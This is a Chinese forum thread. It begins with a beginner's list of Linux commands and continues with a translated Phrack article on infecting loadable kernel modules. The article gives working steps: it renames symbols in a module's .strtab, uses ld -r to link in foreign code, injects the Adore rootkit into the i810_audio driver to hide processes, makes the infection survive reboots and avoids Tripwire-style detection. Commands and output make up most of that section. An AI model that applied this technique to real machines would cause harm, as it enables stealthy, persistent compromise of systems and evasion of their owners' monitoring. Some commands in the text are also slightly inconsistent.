发新话题
打印

菜鸟升级一号专题(已完成)

Linux的常用命令

Linux的确是一个非常优秀的免费操作系统,与MS-WINDOWS相比具有可靠、稳定、速度快等优点,且拥有丰富的根据UNIX版本改进的强大功能。下面就是Linux的一些命令,希望能对大家有一点用处.

一、启动

下面是一个典型的登录过程:
……
RedHat Linux release 5.1
Kernel 2.0.32 on an i686
login:
只要你键入root后,计算机显示输口令(password:),输入你的口 令(如果是第一次启动,则是你在安装时所输入的口令)即可。  当计算机出现一个“#”提示符时,表明你登录成功!
[root@localhost root]#_  Linux提示符
(C:\>_  DOS提示符)
  
二、常用的一些命令:
1.显示文件目录命令ls(DOS下为DIR)在Linux中用ls命令显示文件及目录(当然,你仍然也可用DIR命令,只不过在这里的参数不同)。例如:#ls
root mnt boot dev bin usr xiong tmp etc games
看起来似乎很简单,做起来你就会发现你看不懂,哪些目录.哪些是文件都不清楚,到底那些才是可执行文件呢?如果你想知道就请入:
#ls-F+root/ mnt/ boot/ dev/ bin/ usr/ xiong* tmp/ etc/ games / readme

看清楚了吧,带*为可执行文件(相当于DOS中的EXE和COM文件),带/为子目录,其它的为通用文件。另外,我们可用ls -l显示文件目录的详细情况。(千万注意区分大小写!!如LS -f;Ls等都是错误的).

另外,ls命令还有许多参数,你可以用man ls或ls--help去进一步了解。

改变当前目录命令cd

在Linux中为cd /mnt/cdrom,目录名的大小写必须与实际相同,cd后必须有空格。
pwd 显示当前目录
cd .. 必须为小写,必须有空格
cd / 总目录为/,cd与/必须有空格

建立子目录mkdir

在Linux中的mkdir,
[root@localhost /]#mkdir xiong或mkdir /xiong
Linux系统

删除子目录命令rmdir
  
在Linux中用rmdir命令删除子目录,例:
rmdir /mnt/cdrom 相当于rd \mnt\cdrom

删除文件命令rm 
  
在Linux中用rm命令删除文件,例:
rm /ucdos.bat

文件改名命令mv,例:
  mv /mnt\floppy p相当于 ren \mnt\floppy p
  说明:在Linux中的mv命令除了文件改名外,还有文件移动的功能,请看例子:
  mv /mnt/floppy /bin 相当于DOS中的命令 move \mnt\floppy \bin

文件复制命令cp
  
在Linux中用cp命令进行文件复制,例:
  cp /ucdos/* /fox
  注意:在Linux中用*代替。

获取帮助信息命令man

在Linux中用man命令获取帮助信息,例:
man ls 相当于help dir
ls --help 相当于dir/

显示文件的内容less
  
在Linux中,我们用命令“more”来显示文件内容,例如:more mwm.lx。
在Linux中,还提供了两个DOS中没有的阅读文件的命令,它们是head和tail命令,分别用来显示文件的头部和后部的部分内容。使用格式为:head,缺省n时,显示10行,例:
head /usr/man/mwm.lx 显示文件mwm.lx前10行的内容
head 15 /usr/man/mwm.lx 显示文件mwm.lx前15行的内容
tail 17 /usr/man/mwm.lx 显示文件mwm.lx后17行的内容

重定向与管道:

在Linux中的重定向与管道操作同DOS中的操作几乎一样,上面两个例子在Linux中应为:ls>direct; less readme.txt|more(注:Linux中的more和less命令本身具有分页功能)。

外壳程序(shell):
在Linux中,有好几种shell。常见的有:ash,bash,ksh,tcsh,zsh等,从上面的环境变量中SHELL=/bin/bash可以看出你用的是哪种shell,它位于何处。计算机默认的一般是bash。
  
以上的是一些Linux的常用命令.

TOP

LKM 注射

==Phrack Inc.==

              Volume 0x0b, Issue 0x3d, Phile #0x0a of 0x0f

|=----------------=[ Infecting loadable kernel modules ]=----------------=|
|=-----------------------------------------------------------------------=|
|=--------------------=[ truff  <truff@projet7.org> ]=-------------------=|
|=-----------------------------------------------------------------------=|
|=------------=[ translator: osmose  <osmose@ph4nt0m.net> ]=-------------=|


LKM 注射

--[ 内容

        1 - 介绍

        2 - ELF 基础知识
          2.1 - The .symtab section
          2.2 - The .strtab section

        3 - 玩转 loadable kernel modules
          3.1 - 模块加载
          3.2 - 修改 .strtab section
          3.3 - 插入代码
          3.4 - 保持隐蔽性

        4 - 实例
          4.1 - 最简单的 LKM 感染
          4.2 - 我还会回来的 (重启之后)

        5 - 关于其他的操作系统
          5.1 - Solaris
          5.2 - *BSD
            5.2.1 - FreeBSD
            5.2.2 - NetBSD
            5.2.3 - OpenBSD

        6 - 结论

        7 - 感谢

        8 - 参考资料

        9 - 源代码
          9.1 - ElfStrChange
          9.2 - Lkminject




--[ 1 - 介绍

  这些年来,很多 rootkit 使用了 loadable kernel modules。这仅仅是一种短暂的流
行现象吗?不是,lkm 的广泛使用得益于它强大的功能:可以隐藏文件,进程还有其他
一些妙用。对于第一代使用 lkm 的 rootkits,使用lsmod命令就可以轻易的找出它们。
我们见过许许多多隐藏模块的手法,比如在Plaguez的文章 [1]里提到的那种,还有更多
的在Adore Rootkit [2]里面用到的技巧。几年以后,我们还看到一些新技术:通过使用
/dev/kmem [3] 修改kernel内存映射(kernel memory image)。最后,参考资料[4]向
我们展示了静态内核补丁(static kernel patching)技术。这个技术解决了一个大问题:
rootkit在机器重启后可以重新加载。

(译者注:查找了一下lsmod的运作方式,供大家了解。"在kernel 2.0.x 时,指令
'lsmod'是去开启档案 '/proc/modules' 来得知系统中,已加载哪些 Module。不过
到了kernel 2.1.x以后,系统提供了函式' query_module'。因此,此时'lsmod'的实
作便是透过呼叫 query_module 来取得系统已加载 module的相关资料。")

  本文提出了一种新的隐藏lkm rootkits的技术并且保证这些rootkit在机器重启后能够
重新加载。文章会提到如何感染一个系统使用的内核模块。本文针对的是 Linux kernel
x86 2.4.x 系列,不过这个技术可以在任何使用ELF文件格式的系统中推广。要了解这个
技术需要一些基础知识。内核模块是ELF object 文件,我们需要了解一点ELF格式,尤其
是关于符号命名部分的知识。此后,我们会接着学习模块加载机制以便了解如何把恶意代
码插入内核模块中。最后,实战操作一下模块的插入。



--[ 2 - ELF 基础

  Executable(可执行) & Linking(链接) Format (ELF) 是用于linux操作系统上的
可执行文件格式。我们先要了解部分相关知识,以后用得着(如果想要全面了解ELF格式,
请参考[1])。 当链接两个ELF object 文件的时候,链接程序需要知道每个object文件
里相关符号的一些情况。每个ELF object文件(比如lkm的那些object文件)包含了两个
部分(译者注:就是后文的 .symtab 和 .strtab 两个section )。这两个section 是用
来存储每个符号的信息结构的。我们不但要研究它们,还要总结出一些对感染内核模块有
用的思路。


----[ 2.1 - .symtab section

  这部分是一个结构列表。当链接程序使用那些ELF object文件里的符号时,就需要这些
数据。在/usr/include/elf.h里可以找到这个结构的定义:

/* Symbol table entry. */(符号列表入口)

typedef struct
{
  Elf32_Word    st_name;    /* Symbol name (string tbl index) */(符号名(字符串列表索引))
  Elf32_Addr    st_value;    /* Symbol value */(符号的值)
  Elf32_Word    st_size;    /* Symbol size */(符号数据占用空间的大小)
  unsigned char    st_info;    /* Symbol type and binding */(符号类型和绑定)
  unsigned char    st_other;    /* Symbol visibility */(符号的可见性)
  Elf32_Section    st_shndx;    /* Section index */(各section 的索引)
} Elf32_Sym;

这里我们只对st_name感兴趣。实际上它是 .strtab section 的索引,而那些符号的名称就是
存储在 .strtab 里面的。


----[ 2.2 - .strtab section

  .strtab section 是一个非空字符串的列表。正如我们上面看见的,Elf32_Sym里面的st_name
是 .strtab section 的索引。如果我们寻找的符号在某个字符串里,我们可以很方便的得到这个
字符串的偏移地址。下面是我们的计算公式:

  offset_sym_name = offset_strtab + st_name

  offset_strtab 是 .strtab section 相对于文件起始处的偏移地址,可以通过section 名称解
析机制获得。这和我们要谈的技术关系不是很大,这里就不深究了。参考资料[5]里面详细探讨了
这个问题,后面章节9.1给出了具体实现的代码。

  现在可以说,在ELF object 文件里,我们可以很方便的找到符号名并修改它们。不过修改过程
中始终要牢记一点:.strtab section 是由连续的非空字符串组成的,这对修改后新的符号名是一
个限制:新名称的长度不能超过原来的那个长度,否则会殃及 .strtab 中下一个符号。(译者注:
这里和溢出的道理一样,新名称长度超过原先设定值,多出的部分就会写到后面一个符号名区域里,
覆盖后面有用的部分)

  遵守了这一点,我们就能做到简单的修改符号名而不影响模块的正常运行,最终实现用一
个模块感染另一个模块。


--[ 3 - 玩转 loadable kernel modules

  下面这段给出了动态加载模块程序的源代码。了解了这个,我们就能学会在模块中插入代
码了。

----[ 3.1 - 模块加载

  内核模块的加载是通过insmod这个用户空间工具实现的。insmod包含在modutils包里[6]。
我们感兴趣的东西是insmod.c文件里的init_module()函数。

static int init_module(const char *m_name, struct obj_file *f,
        unsigned long m_size, const char *blob_name,
        unsigned int noload, unsigned int flag_load_map)
{
(1)     struct module *module;
        struct obj_section *sec;
        void *image;
        int ret = 0;
        tgt_long m_addr;

        ....

(2)     module->init = obj_symbol_final_value(f,
                obj_find_symbol(f, "init_module"));
(3)     module->cleanup = obj_symbol_final_value(f,
                obj_find_symbol(f, "cleanup_module"));

        ....

        if (ret == 0 && !noload) {
                fflush(stdout);         /* Flush any debugging output */
(4)             ret = sys_init_module(m_name, (struct module *) image);
                if (ret) {
                        error("init_module: %m");
                        lprintf(
      "Hint: insmod errors can be caused by incorrect module parameters, "
      "including invalid IO or IRQ parameters.\n"
      "You may find more information in syslog or the output from dmesg");
                }
        }

  在 (1) 里,函数向一个结构体模块(struct module)填充了加载模块必须的数据。
需要关注的部分是 init_module 和 cleanup_module。这是两个函数指针,分别指向
被加载模块的 init_module() 和 cleanup_module() 函数。(2)里面的 obj_find_symbol()
函数遍历符号列表查找名字为init_module的符号,然后提取这个结构体符号(struct
symbol)并把它传递给 obj_symbol_final_value()。后者从这个结构体符号提取出
init_module函数的地址。同理,在 (3) 里这个工作对于cleanup_module()又重复了一
遍。需要牢记的是,对于模块初始化或结束时调用的函数,他们在 .strtab section 的入口
分别对应着 init_module 和 cleanup_module。

  当结构体模块填充完毕后,(4) 使用了 sys_init_module() 这个系统调用(syscall)
通知内核加载相应模块。

  模块加载过程中程序调用了 sys_init_module(),其中有我们感兴趣的部分。这个函
数的代码可以在 /usr/src/linux/kernel/module.c 里找到:

asmlinkage long
sys_init_module(const char *name_user, struct module *mod_user)
{
        struct module mod_tmp, *mod;
        char *name, *n_name, *name_tmp = NULL;
        long namelen, n_namelen, i, error;
        unsigned long mod_user_size;
        struct module_ref *dep;

        /* 很多sanity checks */
        .....
        /* 好了,上面是我们可以忍受的所有的sanity checks;剩下的拷贝如下。*/

(1)     if (copy_from_user((char *)mod+mod_user_size,
                           (char *)mod_user+mod_user_size,
                           mod->size-mod_user_size)) {
                error = -EFAULT;
                goto err3;
        }

        /* 其他的sanity checks */

        ....

        /* 初始化模块  */
        atomic_set(&mod->uc.usecount,1);
        mod->flags |= MOD_INITIALIZING;
(2)     if (mod->init && (error = mod->init()) != 0) {
                atomic_set(&mod->uc.usecount,0);
                mod->flags &= ~MOD_INITIALIZING;
                if (error > 0)  /* Buggy module */
                        error = -EBUSY;
                goto err0;
        }
        atomic_dec(&mod->uc.usecount);

  在一些sanity check之后,结构体模块被 (1) 里的copy_from_user()从用户空间拷贝
到内核空间。然后 (2) 里通过使用 mod->init() 函数指针调用了被加载模块的
init_module() 函数。而 mod->init() 这个指针的值是由 insmod 这个工具填充的。


----[ 3.2 - 修改 .strtab section

  前面已经提到了,通过检查 .strtab section 里的字符串,我们可以定位模块中init函数的
地址。而通过修改这个字符串,我们可以在模块被加载的时候执行其他的函数。

  修改 .strtab section 入口有几种办法。ld 的 -wrap 参数可以做到。不过这个方法和我们
后面要用到的 -r 参数(章节3.3)不兼容。在章节5.1里,我们会看到如何用xxd完成这
个工作。我写了一个工具(章节9.1)自动执行这些。

下面是一个简单的例子:

$ cat test.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int evil_module(void)
{
  printk ("<1> Into evil_module()\n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cc -O2 -c test.c

  让我们看看 .symtab 和 .strtab 这两个section:

$ objdump -t test.o

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    O  .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g    F  .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g    F  .text  0000000000000014 evil_module
0000000000000028 g    F  .text  0000000000000014 cleanup_module

  我们马上要修改 .strtab section 的两个入口以便把 evil_module 的符号名改成 init_module。
首先必须把 init_module 这个符号重命名。在同一个ELF object文件里,两个性质相同的符
号名字不能重复。下面是操作过程:

        重命名
1)  init_module  ---->  dumm_module
2)  evil_module  ---->  init_module


$ ./elfstrchange test.o init_module dumm_module
[+] Symbol init_module located at 0x3dc
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange test.o evil_module init_module
[+] Symbol evil_module located at 0x3ef
[+] .strtab entry overwriten with init_module

$ objdump -t test.o

test.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 test.c
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    O  .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 g    F  .text  0000000000000014 dumm_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000014 g    F  .text  0000000000000014 init_module
0000000000000028 g    F  .text  0000000000000014 cleanup_module


# insmod test.o
# tail -n 1 /var/log/kernel
May  4 22:46:55 accelerator kernel:  Into evil_module()

  正如我们看到的,evil_module() 被当作 init_module() 调用了。


----[ 3.3 - 插入代码

  不断发展的技术使得替换函数并且执行变成了可能,不过这还不是特别有趣。如果我们
能在已有的模块中插入外来的代码就更好了。有一种方法可以 *轻松* 做到这点--使用
ld 这个法宝。

$ cat original.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>

int init_module(void)
{
  printk ("<1> Into init_module()\n");
  return 0;
}

int cleanup_module(void)
{
  printk ("<1> Into cleanup_module()\n");
  return 0;
}

$ cat inject.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c original.c
$ cc -O2 -c inject.c


  重要部分开始了。由于内核模块都是可以重定位的ELF object文件,代码插入并不是个
问题。这种object文件在链接后可以共享彼此的符号。同样这里有一个原则:要链接在一
起的几个模块里不能有同名符号。使用 ld 命令带上 -r 参数完成一个部分链接,不改变
链接文件的性质。这样声明的模块可以被内核加载。

$ ld -r original.o inject.o -o evil.o
$ mv evil.o original.o
$ objdump -t original.o

original.o:     file format elf32-i386

SYMBOL TABLE:
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .rodata   0000000000000000
0000000000000000 l    d  .modinfo  0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  .bss   0000000000000000
0000000000000000 l    d  .comment  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 original.c
0000000000000000 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000000 l    df *ABS*  0000000000000000 inject.c
0000000000000016 l     O .modinfo  0000000000000016 __module_kernel_version
0000000000000014 g     F .text  0000000000000014 cleanup_module
0000000000000000 g     F .text  0000000000000014 init_module
0000000000000000         *UND*  0000000000000000 printk
0000000000000028 g     F .text  0000000000000014 inje_module


  这样 inje_module() 函数就被链接进了模块。现在我们要修改 .strtab section 以保证模块
加载时被调用的是inje_module()而不是init_module()。


$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4a8
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4bb
[+] .strtab entry overwriten with init_module


  开火吧:

# insmod original.o
# tail -n 1 /var/log/kernel
May 14 20:37:02 accelerator kernel:  Injected

  奇迹发生了 :)


----[ 3.4 - 保持隐蔽性

  大多数时候,我们要感染那些正在使用的的模块。如果我们用别的函数替换
了init_module(),模块原先的功能就不能发挥了。明眼人很容易发现这个被感染
的模块。有一个解决方法可以既保留原有的功能,又能插入我们的代码。.strtab
被 hack 了以后,真正的 init_module() 函数重命名为dumm_module。如果我
们在插入的 evil_module() 函数里调用 dumm_module(),那么真正的 init_module()
就会在模块初始化时执行,从而模块原有的功能也不会被破坏。

                 替换
    init_module  ------>  dumm_module
    inje_module  ------>  init_module (将会调用 dumm_module)


$ cat stealth.c
#define MODULE
#define __KERNEL__

#include <linux/module.h>
#include <linux/kernel.h>


int inje_module (void)
{
  dumm_module ();
  printk ("<1> Injected\n");
  return 0;
}

$ cc -O2 -c stealth.c
$ ld -r original.o stealth.o -o evil.o
$ mv evil.o original.o
$ ./elfstrchange original.o init_module dumm_module
[+] Symbol init_module located at 0x4c9
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange original.o inje_module init_module
[+] Symbol inje_module located at 0x4e8
[+] .strtab entry overwriten with init_module

# insmod original.o
# tail -n 2 /var/log/kernel
May 17 14:57:31 accelerator kernel:  Into init_module()
May 17 14:57:31 accelerator kernel:  Injected


  好极了,我们插入的代码在正常代码运行之后也得到了执行,这下够隐蔽的了。


--[ 4 - 实例

  下面修改 init_module() 的方法对 cleanup_module() 函数也同样适用。这样,我们就
可以把一个完整的模块插入另一个模块中去了。我曾经通过简单的处理把著名的 Adore[2]
rootkit 插入到我的声卡驱程(i810_audio.o)里。

----[ 4.1 - 最简单的 LKM 感染

1) 我们必须对adore.c稍稍做点修改

  * 在 init_module() 函数里加入对 dumm_module() 的调用
  * 在 cleanup_module() 模块函数里加入对 dummcle_module() 的调用
  * 把 init_module 函数名改成 evil_module
  * 把 cleanup_module 函数名改成 evclean_module
(译者注:注意始终保持函数名长度和原名称的一致性)


2) 用 make 命令编译 Adore


3) 把 adore.o 和 i810_audio.o 链接

   ld -r i810_audio.o adore.o -o evil.o

   如果将要被插入的模块已经加载了,必须先卸载它:

   rmmod i810_audio

   mv evil.o i810_audio.o


4) 修改 .strtab section

                 替换
  init_module    ------> dumm_module
  evil_module    ------> init_module (将会调用 dumm_module)

  cleanup_module ------> evclean_module
  evclean_module ------> cleanup_module (将会调用 evclean_module)

$ ./elfstrchange i810_audio.o init_module dumm_module
[+] Symbol init_module located at 0xa2db
[+] .strtab entry overwriten with dumm_module

$ ./elfstrchange i810_audio.o evil_module init_module
[+] Symbol evil_module located at 0xa4d1
[+] .strtab entry overwriten with init_module

$ ./elfstrchange i810_audio.o cleanup_module dummcle_module
[+] Symbol cleanup_module located at 0xa169
[+] .strtab entry overwriten with dummcle_module

$ ./elfstrchange i810_audio.o evclean_module cleanup_module
[+] Symbol evclean_module located at 0xa421
[+] .strtab entry overwriten with cleanup_module


5) 加载并且测试模块

# insmod i810_audio
# ./ava
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]

       h hide file
       u unhide file
       r execute as root
       R remove PID forever
       U uninstall adore
       i make PID invisible
       v make PID visible

# ps
  PID TTY          TIME CMD
2004 pts/3    00:00:00 bash
2083 pts/3    00:00:00 ps

# ./ava i 2004
Checking for adore  0.12 or higher ...
Adore 0.53 installed. Good luck.
Made PID 2004 invisible.

root@accelerator:/home/truff/adore# ps
  PID TTY          TIME CMD
#

完美吧 :) 为了方便懒人干活,我写了一个简单的shell脚本(章节 9.2)做这些工作。


----[ 4.2 - 我还会回来的 (重启之后)

  当模块加载时,为了以后进一步的需要,我们有两种选择:

  * 用感染后的模块替换 /lib/modules/ 里真正的模块。
    这可以保证重启后我们的后门能够被重新加载。但是,这也会被像 Tripwire[7] 这样
    的HIDS(Host Intrusion Detection System 文件入侵监测系统)发现。不过不要太担
心,内核模块既不是可执行文件也不是一个suid文件,如果管理员配置的HIDS规则
不是太变态,还是查不到我们头上的。

  * 不去动那些放在 /lib/modules 下真正的内核模块,同时删除被感染的模块。这样,即
    使HIDS监测文件的修改情况,它们也只能无功而返。


--[ 5 - 关于其他的操作系统

----[ 5.1 - Solaris

  我通过[8]里的一个基本内核模块来讲解这个例子。Solaris 内核模块使用了三个基本函数:

  - _init 模块初始化的时候调用
  - _fini 模块卸载时调用
  - _info 当用户使用modinfo命令时,负责输出模块信息

$ uname -srp
SunOS 5.7 sparc

$ cat mod.c
#include <sys/ddi.h>
#include <sys/sunddi.h>
#include <sys/modctl.h>

extern struct mod_ops mod_miscops;

static struct modlmisc modlmisc = {
        &mod_miscops,
        "Real Loadable Kernel Module",
};

static struct modlinkage modlinkage = {
        MODREV_1,
        (void *)&modlmisc,
        NULL
};

int _init(void)
{
        int i;
        if ((i = mod_install(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not install module\n");
        else
                cmn_err(CE_NOTE,"mod: successfully installed");
        return i;
}

int _info(struct modinfo *modinfop)
{
        return (mod_info(&modlinkage, modinfop));
}

int _fini(void)
{
        int i;
        if ((i = mod_remove(&modlinkage)) != 0)
                cmn_err(CE_NOTE,"Could not remove module\n");
        else
                cmn_err(CE_NOTE,"mod: successfully removed");
        return i;
}


$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c mod.c
$ ld -r -o mod mod.o
$ file mod
mod:            ELF 64-bit MSB relocatable SPARCV9 Version 1


  正如我们在linux例子里看到的,我们要插入的代码里必须包含对真正 init 函数的调
用,这样模块才能和原来一样正常工作。不过,我们要面对一个问题:如果我们在模块
链接之后再修改 .strtab section ,动态加载程序无法找到 _dumm() 函数,模块自然
也无法被正常加载。在这个问题上我没有太深入的研究,但是我觉得Solaris的动态加载
程序不会在模块里查找那些没有被定义的符号。所以问题解决了:我们只要在链接之前把
.strtab入口的 _init 重命名为 _dumm 就可以了。


$ readelf -S mod
有10个section 的header(section headers),它们的偏移地址从 0x940 开始。

Section Headers:
  [Nr] Name              Type             Address           Offset
       Size              EntSize          Flags  Link  Info  Align
  [ 0]                   NULL             0000000000000000  00000000
       0000000000000000  0000000000000000        0     0     0
  [ 1] .text             PROGBITS         0000000000000000  00000040
       0000000000000188  0000000000000000  AX     0     0     4
  [ 2] .rodata           PROGBITS         0000000000000000  000001c8
       000000000000009b  0000000000000000   A     0     0     8
  [ 3] .data             PROGBITS         0000000000000000  00000268
       0000000000000050  0000000000000000  WA     0     0     8
  [ 4] .symtab           SYMTAB           0000000000000000  000002b8
       0000000000000210  0000000000000018         5     e     8
  [ 5] .strtab           STRTAB           0000000000000000  000004c8
       0000000000000065  0000000000000000         0     0     1
  [ 6] .comment          PROGBITS         0000000000000000  0000052d
       0000000000000035  0000000000000000         0     0     1
  [ 7] .shstrtab         STRTAB           0000000000000000  00000562
       000000000000004e  0000000000000000         0     0     1
  [ 8] .rela.text        RELA             0000000000000000  000005b0
       0000000000000348  0000000000000018         4     1     8
  [ 9] .rela.data        RELA             0000000000000000  000008f8
       0000000000000048  0000000000000018         4     3     8
Flag 注释:
  W (write写), A (alloc分配), X (execute执行), M (merge合并), S (strings字符串)
  I (info信息), L (link order链接顺序), G (group组), x (unknown未知)
  O (extra OS processing required需要额外的系统处理), o (OS specific制定操作系统)
  p (processor specific指定处理器)


  .strtab section 的起始偏移地址为 0x4c8,大小是 64 位。下面我们用vi 和 xxd 作为我们的
16位编辑器修改 .strtab section 。用 vi mod 这个命令在vi里打开模块。然后输入 :%!xxd 把
模块转换成16进制。你会看到下面这些字符:

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 696e 6974 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^

  我们用 _dumm 替换 _init,只修改四个字节。

00004c0: 0000 0000 0000 0000 006d 6f64 006d 6f64  .........mod.mod
00004d0: 2e63 006d 6f64 6c69 6e6b 6167 6500 6d6f  .c.modlinkage.mo
00004e0: 646c 6d69 7363 006d 6f64 5f6d 6973 636f  dlmisc.mod_misco
00004f0: 7073 005f 696e 666f 006d 6f64 5f69 6e73  ps._info.mod_ins
0000500: 7461 6c6c 005f 6475 6d6d 006d 6f64 5f69  tall._init.mod_i
                        ^^^^^^^^^                    ^^^^
                                    ^^^^
                                              (译者注:这里似乎应该是dumm,
                                               可能是笔误)

  用 :%!xxd -r 这个命令把模块从16进制转换回去,保存退出。然后我们来证实一下我们
的修改是否成功。

$ objdump -t mod

mod:     file format elf64-sparc

SYMBOL TABLE:
0000000000000000 l    df *ABS*  0000000000000000 mod
0000000000000000 l    d  .text  0000000000000000
0000000000000000 l    d  .rodata        0000000000000000
0000000000000000 l    d  .data  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  .comment       0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    d  *ABS*  0000000000000000
0000000000000000 l    df *ABS*  0000000000000000 mod.c
0000000000000010 l    O  .data  0000000000000040 modlinkage
0000000000000000 l    O  .data  0000000000000010 modlmisc
0000000000000000         *UND*  0000000000000000 mod_miscops
00000000000000a4 g    F  .text  0000000000000040 _info
0000000000000000         *UND*  0000000000000000 mod_install
0000000000000000 g    F  .text  0000000000000188 _dumm
0000000000000000         *UND*  0000000000000000 mod_info
0000000000000000         *UND*  0000000000000000 mod_remove
00000000000000e4 g    F  .text  0000000000000188 _fini
0000000000000000         *UND*  0000000000000000 cmn_err


  可以看到 _init 已经被 _dumm 替换了。现在我们可以直接插入一个名为 _init
的函数了。

$ cat evil.c
int _init(void)
{
        _dumm ();
        cmn_err(1,"evil: successfully installed");
        return 0;
}

$ gcc -m64 -D_KERNEL -DSRV4 -DSOL2 -c inject.c
$ ld -r -o inject inject.o

  用ld命令插入模块:

$ ld -r -o evil mod inject

  加载模块:

# modload evil
# tail -f /var/adm/messages
Jul 15 10:58:33 luna unix: NOTICE: mod: successfully installed
Jul 15 10:58:33 luna unix: NOTICE: evil: successfully installed


  利用 _fini 函数把一个完整模块插入其他模块的操作和上面的一样。



----[ 5.2 - *BSD

------[ 5.2.1 - FreeBSD

% uname -srm
FreeBSD 4.8-STABLE i386

% file /modules/daemon_saver.ko
daemon_saver.ko: ELF 32-bit LSB shared object, Intel 80386, version 1
(FreeBSD), not stripped

  正如我们看到的,FreeBSD 内核模块是共享object的,所以我们无法使用ld命令把恶意
代码和模块链接到一起。不仅如此,FreeBSD 加载模块的机制和 Linux 以及 Solaris 都不
一样。看看 /usr/src/sys/kern/kern_linker.c 你就明白了。init/cleanup 的函数名可以
五花八门。初始化时,加载程序直接在 .data section 的一个结构体内找到 init 函数的
地址,而不是靠函数名判断。因此上面的hack .strtab 的方法不再适用了。


------[ 5.2.2 - NetBSD

$ file nvidia.o
nvidia.o: ELF 32-bit LSB relocatable, Intel 80386, version 1
(SYSV), not stripped

  NetBSD 内核模块是可以重定位的 ELF object 文件,可以插入模块。当使用 modload 命
令加载内核模块的时候,加载程序把模块和内核链接起来,同时执行模块入口处的代码(代
码放在ELF header里)。

  链接以后,我们可以修改模块入口。不过没有必要这样做。modload 命令提供了"-e"参
数,方便我们设置哪个符号为入口点。

  下面是一个例子,我们要感染的模块:

$ cat gentil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

MOD_MISC("gentil");

int    gentil_lkmentry(struct lkm_table *, int, int);
int    gentil_lkmload(struct lkm_table *, int);
int    gentil_lkmunload(struct lkm_table *, int);
int    gentil_lkmstat(struct lkm_table *, int);

int gentil_lkmentry(struct lkm_table *lkmt, int cmd, int ver)
{
    DISPATCH(lkmt, cmd, ver, gentil_lkmload, gentil_lkmunload,
        gentil_lkmstat);
}

int gentil_lkmload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Hello, world!\n");
    return (0);
}

int gentil_lkmunload(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: Goodbye, world!\n");
    return (0);
}

int gentil_lkmstat(struct lkm_table *lkmt, int cmd)
{
    printf("gentil: How you doin', world?\n");
    return (0);
}


  下面这部分是要插入的代码:

$ cat evil_lkm.c
#include <sys/cdefs.h>
#include <sys/param.h>
#include <sys/ioctl.h>
#include <sys/systm.h>
#include <sys/conf.h>
#include <sys/lkm.h>

int    gentil_lkmentry(struct lkm_table *, int, int);

int
inject_entry(struct lkm_table *lkmt, int cmd, int ver)
{
    switch(cmd) {
    case LKM_E_LOAD:
        printf("evil: in place\n");
        break;
    case LKM_E_UNLOAD:
        printf("evil: i'll be back!\n");
        break;
    case LKM_E_STAT:
        printf("evil: report in progress\n");
        break;
    default:
        printf("edit: unknown command\n");
        break;
    }

    return gentil_lkmentry(lkmt, cmd, ver);
}

  分别编译了 gentil 和 evil 之后,我们把它们链接到一起:

$ ld -r -o evil.o gentil.o inject.o
$ mv evil.o gentil.o

# modload -e evil_entry gentil.o
Module loaded as ID 2

# modstat
Type    Id   Offset  Loadaddr  Size  Info      Rev  Module  Name
DEV     0  -1/108  d3ed3000  0004  d3ed3440   1  mmr
DEV     1  -1/180  d3fa6000  03e0  d4090100   1  nvidia
MISC    2      0   e45b9000  0004  e45b9254  1  gentil

# modunload -n gentil

# dmesg | tail
evil: in place
